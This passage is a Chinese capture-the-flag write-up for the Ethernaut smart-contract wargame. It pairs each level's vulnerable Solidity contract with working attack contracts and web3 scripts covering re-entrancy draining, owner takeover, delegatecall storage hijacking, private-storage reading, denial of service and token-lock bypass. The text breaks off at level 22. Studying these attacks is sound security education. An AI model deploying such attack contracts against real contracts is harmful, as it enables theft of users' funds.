ETH openzeppelin 题解
前期准备
题目网址:https://ethernaut.openzeppelin.com/
水龙头:https://holesky-faucet.pk910.de/#/
查询器:https://holesky.etherscan.io/
交互器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 from web3 import Web3, HTTPProviderfrom web3.contract import Contractimport solcxclass BCI : web3 : Web3 contract : Contract ContractAddress : str MyWalletAddress : str PrivateKey : str SolidityFile : str ContractName : str SolidityVersion : str def __init__ (self, rpc : str , ContractAddress : str , MyWalletAddress : str , PrivateKey : str , SolidityFile : str , ContractName : str , SolidityVersion : str ): self.web3 = Web3(HTTPProvider(rpc)) self.ContractAddress = ContractAddress self.MyWalletAddress = MyWalletAddress self.PrivateKey = PrivateKey self.SolidityFile = SolidityFile self.ContractName = ContractName self.SolidityVersion = SolidityVersion def CompileContract (self ): solcx.set_solc_version(self.SolidityVersion) temp_file = solcx.compile_files( self.SolidityFile, output_values=['abi' , 'bin' ] ) abi = temp_file[self.SolidityFile + ':' + self.ContractName]['abi' ] bin = temp_file[self.SolidityFile + ':' + self.ContractName]['bin' ] return abi, bin def DeployContract (self, Parameters : list , Value : float = 0 ): abi, bin = self.CompileContract() MyContract = self.web3.eth.contract(abi = abi, bytecode = bin ) tx = MyContract.constructor(*Parameters).build_transaction({ 'chainId' : self.web3.eth.chain_id, 'from' : self.MyWalletAddress, 'nonce' : self.web3.eth.get_transaction_count(self.MyWalletAddress), 'value' : self.web3.to_wei(Value, 'ether' ), 'gas' : 10000000 , 'gasPrice' : self.web3.eth.gas_price + 5000 }) SignedTransaction = self.web3.eth.account.sign_transaction(tx, self.PrivateKey) TransactionHash = self.web3.eth.send_raw_transaction(SignedTransaction.raw_transaction) TransactionReceipt = self.web3.eth.wait_for_transaction_receipt(TransactionHash) return TransactionReceipt['contractAddress' ] def GetContract (self ): abi, _ = self.CompileContract() self.contract = self.web3.eth.contract(address = self.ContractAddress, abi = abi) def PayableCall (self, FunctionName : str , Parameters : list , Value : float = 0 ): tx = getattr (self.contract.functions, FunctionName)(*Parameters).build_transaction({ 'chainId' : self.web3.eth.chain_id, 'from' : self.MyWalletAddress, 'nonce' : self.web3.eth.get_transaction_count(self.MyWalletAddress), 'value' : self.web3.to_wei(Value, 'ether' ), 'gas' : 1000000 , 'gasPrice' : self.web3.eth.gas_price + 5000 }) SignedTransaction = self.web3.eth.account.sign_transaction(tx, self.PrivateKey) TransactionHash = self.web3.eth.send_raw_transaction(SignedTransaction.raw_transaction) self.web3.eth.wait_for_transaction_receipt(TransactionHash) def ViewCall (self, FunctionName : str , Parameters : list ): return getattr (self.contract.functions, FunctionName)(*Parameters).call({'from' : self.MyWalletAddress}) def Transfer (self, Value : float = 0 ): tx = { 'chainId' : self.web3.eth.chain_id, 'from' : self.MyWalletAddress, 'to' : self.ContractAddress, 'nonce' : self.web3.eth.get_transaction_count(self.MyWalletAddress), 'value' : self.web3.to_wei(Value, 'ether' ), 'gas' : 10000000 , 'gasPrice' : self.web3.eth.gas_price + 5000 } SignedTransaction = self.web3.eth.account.sign_transaction(tx, self.PrivateKey) TransactionHash = self.web3.eth.send_raw_transaction(SignedTransaction.raw_transaction) self.web3.eth.wait_for_transaction_receipt(TransactionHash) def GetBalance (self ): return self.web3.from_wei(self.web3.eth.get_balance(self.ContractAddress), 'ether' ) def ViewStorage (self, Index : int ): return self.web3.eth.get_storage_at(self.ContractAddress, Index)
level0
根据提示一点点运行命令即可,最终得到合约代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Instance { string public password; uint8 public infoNum = 42; string public theMethodName = "The method name is method7123949."; bool private cleared = false; // constructor constructor(string memory _password) { password = _password; } function info() public pure returns (string memory) { return "You will find what you need in info1()."; } function info1() public pure returns (string memory) { return 'Try info2(), but with "hello" as a parameter.'; } function info2(string memory param) public pure returns (string memory) { if (keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked("hello"))) { return "The property infoNum holds the number of the next info method to call."; } return "Wrong parameter."; } function info42() public pure returns (string memory) { return "theMethodName is the name of the next method."; } function method7123949() public pure returns (string memory) { return "If you know the password, submit it to authenticate()."; } function authenticate(string memory passkey) public { if (keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) { cleared = true; } } function getCleared() public view returns (bool) { return cleared; } }
level1 Fallback
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Fallback { mapping(address => uint256) public contributions; address public owner; constructor() { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); } modifier onlyOwner() { require(msg.sender == owner, "caller is not the owner"); _; } function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if (contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } function getContribution() public view returns (uint256) { return contributions[msg.sender]; } function withdraw() public onlyOwner { payable(owner).transfer(address(this).balance); } receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; } }
高版本solidity拥有fallback()和receive()两个默认函数,分别处理无转账和有转账但是没调用任何函数的情况。先使用contribute()函数让contributions[me]中有东西,在给他随便转点钱,就能通过receive()函数让自己变成owner,最后使用withdraw()函数即可转走合约内全部的钱。
1 2 3 4 5 contract = GetContract() PayableCall('contribute' , [], 0.0001 ) Transfer() print (contract.functions.owner().call({'from' : MyWalletAddress}))PayableCall('withdraw' , [], 0 )
level2 Fallout
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 pragma solidity ^0.6.0; import "./SafeMath.sol"; contract Fallout { using SafeMath for uint256; mapping(address => uint256) allocations; address payable public owner; function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; } modifier onlyOwner() { require(msg.sender == owner, "caller is not the owner"); _; } function allocate() public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); } function sendAllocation(address payable allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); } function collectAllocations() public onlyOwner { msg.sender.transfer(address(this).balance); } function allocatorBalance(address allocator) public view returns (uint256) { return allocations[allocator]; } }
合约名为Fallout
但其构造函数却错误地命名为Fal1out
,导致任何人均可以调用这个函数,从而修改owner。
1 2 3 contract = GetContract() PayableCall('Fal1out' , []) print (contract.functions.owner().call({'from' : MyWalletAddress}))
level3 Coin Flip
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor() { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number - 1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } }
题目需要我们连续猜中10次,可以考虑用python直接交互,或者使用合约去调用合约。
题目中的block.number
返回的是当前正在打包的区块的编号,这是一个固定值。因此在自己的合约中无论如何都只能猜中一次。需要手动调用攻击合约10次。在使用pyhton时应当注意web3.eth.get_block_number()
返回的是当前已上链的区块数,因此预先计算时无需额外减1。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from Crypto.Util.number import bytes_to_long, long_to_byteslastHash = b'' blockValue = b'' FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968 def GetResult (): global lastHash, blockValue, FACTOR while True : blockValue = web3.eth.get_block(web3.eth.get_block_number()).hash if blockValue == lastHash: continue print (blockValue) lastHash = blockValue coinFlip = bytes_to_long(blockValue) // FACTOR return coinFlip == 1 contract = GetContract() for i in range (10 ): result = GetResult() PayableCall('flip' , [result], 0 ) print (ViewCall('consecutiveWins' , []))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface CoinFlip { function flip(bool _guess) external returns (bool) ; } contract Attack { uint256 BlockValue = 0; uint256 Flip = 0; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function send_msg() public { BlockValue = uint256(blockhash(block.number - 1)); Flip = BlockValue / FACTOR; CoinFlip target = CoinFlip(0x25c35bd3aD549A4A5eCB941c3A07D2cF6D1B9102); target.flip(Flip == 1); } }
level4 Telephone
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Telephone { address public owner; constructor() { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } }
假设有以下调用链:account -> contract A -> ontract B
,对于合约B来说msg.sender = contract A
,tx.origin = account
。因此,我们使用合约去调用题目合约即可使得tx.origin != msg.sender
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Telephone { function changeOwner(address _owner) external; } contract Attack { function attack() public payable { Telephone t = Telephone(0xa337B36207C062F1fF9184020eCd13568a28066B); t.changeOwner(msg.sender); } }
level5 Token
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Token { mapping(address => uint256) balances; uint256 public totalSupply; constructor(uint256 _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint256 _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } }
balances[msg.sender]
和_value
都是uint256
类型,他们作差将永远不会小于0。令_value = 21
使其下溢。实践中应当使用SafeMath
库或者如下类似代码防止溢出:
1 2 3 if(a + c > a) { a = a + c; }
level6 Delegation
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Delegate { address public owner; constructor(address _owner) { owner = _owner; } function pwn() public { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate; constructor(address _delegateAddress) { delegate = Delegate(_delegateAddress); owner = msg.sender; } fallback() external { (bool result,) = address(delegate).delegatecall(msg.data); if (result) { this; } } }
合约间调用总计三种方式,假设有调用链:account A -> contract B -> contract C
,其特点如下:
msg值
运行环境
call
A -> B
C
callcode
A -> B
B
delegatecall
A
B
msg.data
中存储了交易发生时的函数调用请求。我们可以尝试对Delegation
合约调用pwn
函数,由于Delegation
合约找不到对应的函数,就会执行fallback
函数。此时msg.data
中存储着对pwn
函数的调用请求,经过delegatecall
后,会在Delegation
合约的环境下执行Delegate
合约的pwn
函,也就修改了Delegation
合约中的owner
。
level7 Force
题目:
1 2 3 4 5 6 7 8 9 10 11 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Force { /* MEOW ? /\_/\ / ____/ o o \ /~____ =ø= / (______)__m_m) */ }
题目并没有函数可以接受转账。然而,每个合约在被销毁时都可以指定一个地址,将余额全部转过去。
1 2 3 4 5 6 7 8 9 10 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Attack { function destruct(address payable addr) public payable { selfdestruct(addr); } }
我们是无法阻止其他人向合约转账的。
level8 Vault
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Vault { bool public locked; bytes32 private password; constructor(bytes32 _password) { locked = true; password = _password; } function unlock(bytes32 _password) public { if (password == _password) { locked = false; } } }
题目将password
设置成了private
,其他合约并不能访问它。但是,合约中的变量依旧存储在链上,我们可以使用web3.eth.get_storage_at(ContractAddress, Index)
直接访问对应的地址来获取其值。
以太坊数据存储会为合约的每项数据指定一个可计算的存储位置,存放在一个容量为2 256 2^{256} 2 2 5 6 的超级数组中,数组中每个元素称为插槽(slot
),其初始值为 0。虽然数组容量的上限很高,但实际上存储是稀疏的,只有非零 (空值) 数据才会被真正写入存储。每个数据存储的插槽位置是一定的。
假设有如下合约:
1 2 3 4 5 6 7 8 pragma solidity ^0.4.0; contract C { address a; // 0 uint8 b; // 0 uint256 c; // 1 bytes24 d; // 2 }
那么它的存储布局如下:
1 2 3 4 5 6 7 ----------------------------------------------------- | unused (11) | b (1) | a (20) | <- slot 0 ----------------------------------------------------- | c (32) | <- slot 1 ----------------------------------------------------- | unused (8) | d (24) | <- slot 2 -----------------------------------------------------
对于这道题,我们可以访问slot[1]
来获取密码的值。
区块链上没有秘密。
level9 King
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract King { address king; uint256 public prize; address public owner; constructor() payable { owner = msg.sender; king = msg.sender; prize = msg.value; } receive() external payable { require(msg.value >= prize || msg.sender == owner); payable(king).transfer(msg.value); king = msg.sender; prize = msg.value; } function _king() public view returns (address) { return king; } }
合约转账总计有三种方法:
函数
返回值
失败处理
限制
addr.transfer(value)
无
回退
gas
小于2300
addr.call{value : value}('')
(bool, bytes memory)
返回false
无
addr.send(value)
bool
返回false
gas
小于2300
如此一来,我们只需让合约无法给我们转账即可。构建如下合约给题目合约打钱即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Attack { constructor() payable { } function attack() public payable { bool b; bytes memory data; address addr = 0x3EF73E588BAd849df7Cd7e5783925314ECA069B3; (b, data) = addr.call{value : address(this).balance}(''); } receive() external payable { revert(); } }
level10 Re-entrancy
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "SafeMath.sol"; contract Reentrance { using SafeMath for uint256; mapping(address => uint256) public balances; function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf(address _who) public view returns (uint256 balance) { return balances[_who]; } function withdraw(uint256 _amount) public { if (balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value: _amount}(""); if (result) { _amount; } balances[msg.sender] -= _amount; } } receive() external payable {} }
题目先转账、再修改记录的行为构成了最经典的重入攻击。当合约的转账对象为一个合约,且它在receive()
函数中重新调用这个转账函数,那么将会导致资金被无提取。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Reentrance { function withdraw(uint256 _amount) external; function donate(address _to) external payable; } contract Attack { uint256 times = 2; address addr = 0x5323272050f2484eF6490A22E2401C367c3c89a6; Reentrance reentrance = Reentrance(addr); function attack() public { reentrance.donate{value : 0.001 ether}(address(this)); reentrance.withdraw(0.001 ether); } receive() external payable { if(times > 0) { reentrance.withdraw(0.001 ether); times--; } } constructor() payable { } }
level11 Elevator
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Building { function isLastFloor(uint256) external returns (bool); } contract Elevator { bool public top; uint256 public floor; function goTo(uint256 _floor) public { Building building = Building(msg.sender); if (!building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } }
题目天真地认为同样的函数同样的参数会得到同样的结果。我们可以构造如下合约使得两次调用返回不同的结果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Elevator { function goTo(uint256 _floor) external; } contract Attack { bool t; function attack() public { Elevator e = Elevator(0x9AEe08f2C5de55C080d6A42CF584Cbad96ACe003); e.goTo(1); } function isLastFloor(uint256 f) external returns (bool) { t = !t; return !t; } }
level12 Privacy
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Privacy { bool public locked = true; uint256 public ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(block.timestamp); bytes32[3] private data; constructor(bytes32[3] memory _data) { data = _data; } function unlock(bytes16 _key) public { require(_key == bytes16(data[2])); locked = false; } }
此题目storage布局如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 ----------------------------------------------------- | unused (31) | locked(1) | <- slot 0 ----------------------------------------------------- | ID(32) | <- slot 1 ----------------------------------------------------- | unused (28) | awkwardness(2) | denomination (1) | flattening(1) | <- slot 2 ----------------------------------------------------- | data[0](32) | <- slot 3 ----------------------------------------------------- | data[1](32) | <- slot 4 ----------------------------------------------------- | data[2](32) | <- slot 5 -----------------------------------------------------
题目使用bytes16
截断了bytes32
的数据,solidity
会保留前半部分。对于uint
类的则会保留后半部分。
1 2 problem.GetContract() problem.PayableCall('unlock' , [problem.ViewStorage(5 )[:16 ]])
level13 Gatekeeper One
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperOne { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(gasleft() % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three"); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
数学题。对于汽油费,可以通过在etherscan上通过失败的transaction hash
查看Geth Debug Trace
中的指令。查找GAS
指令后的剩余数量来调控。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface GatekeeperOne { function enter(bytes8 _gateKey) external returns (bool); } contract Attack { GatekeeperOne GK = GatekeeperOne(0xBbd77b0251bF99A16D0366aCd0d56473f5d824e5); bytes8 _gateKey; function attack() public { GK.enter(_gateKey); } constructor() { _gateKey = bytes8(uint64(uint160(msg.sender)) & 0xffff0000ffff); } }
level14 Gatekeeper Two
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint256 x; assembly { x := extcodesize(caller()) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
题目合约即要求通过一个合约调用,又要求调用者的代码长度为0。注意到合约在构建的时候代码长度为0,我们在constructor
函数中攻击即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface GatekeeperTwo { function enter(bytes8 _gateKey) external returns (bool); } contract Attack { GatekeeperTwo GK = GatekeeperTwo(0x47e53C6F0021fE5B79eA69c77ed679608Fc877f3); constructor() { GK.enter(bytes8(type(uint64).max ^ uint64(bytes8(keccak256(abi.encodePacked(address(this))))))); } }
level15 Naught Coin
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "ERC20.sol"; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint256 public timeLock = block.timestamp + 10 * 365 days; uint256 public INITIAL_SUPPLY; address public player; constructor(address _player) ERC20("NaughtCoin", "0x0") { player = _player; INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals())); // _totalSupply = INITIAL_SUPPLY; // _balances[player] = INITIAL_SUPPLY; _mint(player, INITIAL_SUPPLY); emit Transfer(address(0), player, INITIAL_SUPPLY); } function transfer(address _to, uint256 _value) public override lockTokens returns (bool) { super.transfer(_to, _value); } // Prevent the initial owner from transferring tokens until the timelock has passed modifier lockTokens() { if (msg.sender == player) { require(block.timestamp > timeLock); _; } else { _; } } }
题目合约错误地认为ERC20
标准只有transfer
函数可以向外转账。函数function approve(address spender, uint256 value)
允许msg.sender
向spender
添加value
的许可。函数function transferFrom(address from, address to, uint256 value)
允许from
向to
转账,同时消耗from
向msg.sender
的许可总计value
。
1 2 3 problem.GetContract() problem.PayableCall('approve' , [problem.ViewCall('player' , []), problem.ViewCall('balanceOf' , [problem.ViewCall('player' , [])])]) problem.PayableCall('transferFrom' , [problem.ViewCall('player' , []), '0xeB8aff2f8147bd26C63a4271e76Dd82B964A2E69' , problem.ViewCall('balanceOf' , [problem.ViewCall('player' , [])])])
level16 Preservation
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Preservation { // public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint256 storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; } // set the time for timezone 1 function setFirstTime(uint256 _timeStamp) public { timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } // set the time for timezone 2 function setSecondTime(uint256 _timeStamp) public { timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } } // Simple library contract to set the time contract LibraryContract { // stores a timestamp uint256 storedTime; function setTime(uint256 _time) public { storedTime = _time; } }
注意到题目使用了delegatecall
来调用库函数。当被调函数中发生访存时,将会依照storage
的插槽索引变量。即,当运行setFirstTime
函数后实际更改的是题目合约中的timeZone1Library
变量,而非storedTime
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Attack { address tmp1; address tmp2; uint256 owner; function setTime(uint256 _time) public { owner = _time; } constructor() { } }
1 2 3 problem.GetContract() problem.PayableCall('setFirstTime' , [Attack Contract Address]) problem.PayableCall('setFirstTime' , [My Wallet Address])
level17 Recovery
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Recovery { //generate tokens function generateToken(string memory _name, uint256 _initialSupply) public { new SimpleToken(_name, msg.sender, _initialSupply); } } contract SimpleToken { string public name; mapping(address => uint256) public balances; // constructor constructor(string memory _name, address _creator, uint256 _initialSupply) { name = _name; balances[_creator] = _initialSupply; } // collect ether in return for tokens receive() external payable { balances[msg.sender] = msg.value * 10; } // allow transfers of tokens function transfer(address _to, uint256 _amount) public { require(balances[msg.sender] >= _amount); balances[msg.sender] = balances[msg.sender] - _amount; balances[_to] = _amount; } // clean up after ourselves function destroy(address payable _to) public { selfdestruct(_to); } }
可以在etherscan
上追踪前的流向看出来。
其实,合约地址的生成是有规律可寻的。经常可以看到有的通证或组织跨链部署的合约都是同样的,这是因为合约地址是根据创建者的地址及nonce来计算的,两者先进行RLP编码再利用keccak256进行哈希计算,在最终的结果取后20个字节作为地址。
创建者的地址是已知的,而nonce也是从初始值递增获取到的。
外部地址nonce初始值为0,每次转账或创建合约等会导致nonce加一
合约地址nonce初始值为1,每次创建合约会导致nonce加一(内部调用不会)
level18 MagicNumber
手搓字节码:
1 2 3 4 web3.eth .sendTransaction ({ from : player, data : "0x600a600c602039600a6020f3602a60605260206060f3" })
level19 Alien Codex
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 // SPDX-License-Identifier: MIT pragma solidity ^0.5.0; import "Ownable-05.sol"; contract AlienCodex is Ownable { bool public contact; bytes32[] public codex; modifier contacted() { assert(contact); _; } function makeContact() public { contact = true; } function record(bytes32 _content) public contacted { codex.push(_content); } function retract() public contacted { codex.length--; } function revise(uint256 i, bytes32 _content) public contacted { codex[i] = _content; } }
solidity
的动态数组在访问时会自动检查是否出界,这使得revise()
函数没有相关的检查。retract()
函数可以通过让length--
的方法删除末尾的一个元素,但没有检查下溢。对于动态数组,solidity
会在本应存储内容的插槽p
上存储数组的长度,真正的内容在插槽keccak256(uint256(p))
的位置开始存储。因此,我们可以通过下溢扩大数组的访问空间,再修改owner
。
1 2 3 4 5 6 from Crypto.Util.number import long_to_bytesproblem.GetContract() codex = 80084422859880547211683076133703299733277748156566366325829078699459944778998 problem.PayableCall('makeContact' , []) problem.PayableCall('retract' , []) problem.PayableCall('revise' , [2 ** 256 - codex, long_to_bytes(0x8F4Bd3d8d348dB262c487366065F21dB95BFcB23 ).rjust(32 , b'\x00' )])
level20 Denial
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Denial { address public partner; // withdrawal partner - pay the gas, split the withdraw address public constant owner = address(0xA9E); uint256 timeLastWithdrawn; mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances function setWithdrawPartner(address _partner) public { partner = _partner; } // withdraw 1% to recipient and 1% to owner function withdraw() public { uint256 amountToSend = address(this).balance / 100; // perform a call without checking return // The recipient can revert, the owner will still get their share partner.call{value: amountToSend}(""); payable(owner).transfer(amountToSend); // keep track of last withdrawal time timeLastWithdrawn = block.timestamp; withdrawPartnerBalances[partner] += amountToSend; } // allow deposit of funds receive() external payable {} // convenience function function contractBalance() public view returns (uint256) { return address(this).balance; } }
题目采用call
来转账但是并没有限制汽油量,可以通过限制汽油量来实现拒绝转账。在0.6.0
时assert()
函数失败后会吞掉所有的汽油费,而在0.8.0
则只会吞掉执行至此的汽油费。
1 2 3 4 5 6 7 8 9 10 11 12 13 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Attack { receive() external payable { assert(1 == 2); } constructor() public { } }
level21 Shop
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Buyer { function price() external view returns (uint256); } contract Shop { uint256 public price = 100; bool public isSold; function buy() public { Buyer _buyer = Buyer(msg.sender); if (_buyer.price() >= price && !isSold) { isSold = true; price = _buyer.price(); } } }
题目需要两次调用view
函数但是返回值不同。可以通过检测两次调用时的汽油数、检测某外部合约的变量变量值(如题目合约的isSold
)来修改两次的结果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Shop { function buy() external; } contract Attack { uint256 _price = 100; function price() external view returns (uint256) { if(gasleft() > 41000) { return 100; } else { return 0; } } function attack() public { Shop shop = Shop(0xC1f535093bd82E7B2a56b0198d5aF4f8cACaA5FB); shop.buy(); } receive() external payable { } constructor() { } }
level22 DEX
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "openzeppelin-contracts-08/token/ERC20/IERC20.sol"; import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; import "openzeppelin-contracts-08/access/Ownable.sol"; contract Dex is Ownable { address public token1; address public token2; constructor() {} function setTokens(address _token1, address _token2) public onlyOwner { token1 = _token1; token2 = _token2; } function addLiquidity(address token_address, uint256 amount) public onlyOwner { IERC20(token_address).transferFrom(msg.sender, address(this), amount); } function swap(address from, address to, uint256 amount) public { require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens"); require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); uint256 swapAmount = getSwapPrice(from, to, amount); IERC20(from).transferFrom(msg.sender, address(this), amount); IERC20(to).approve(address(this), swapAmount); IERC20(to).transferFrom(address(this), msg.sender, swapAmount); } function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) { return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this))); } function approve(address spender, uint256 amount) public { SwappableToken(token1).approve(msg.sender, spender, amount); 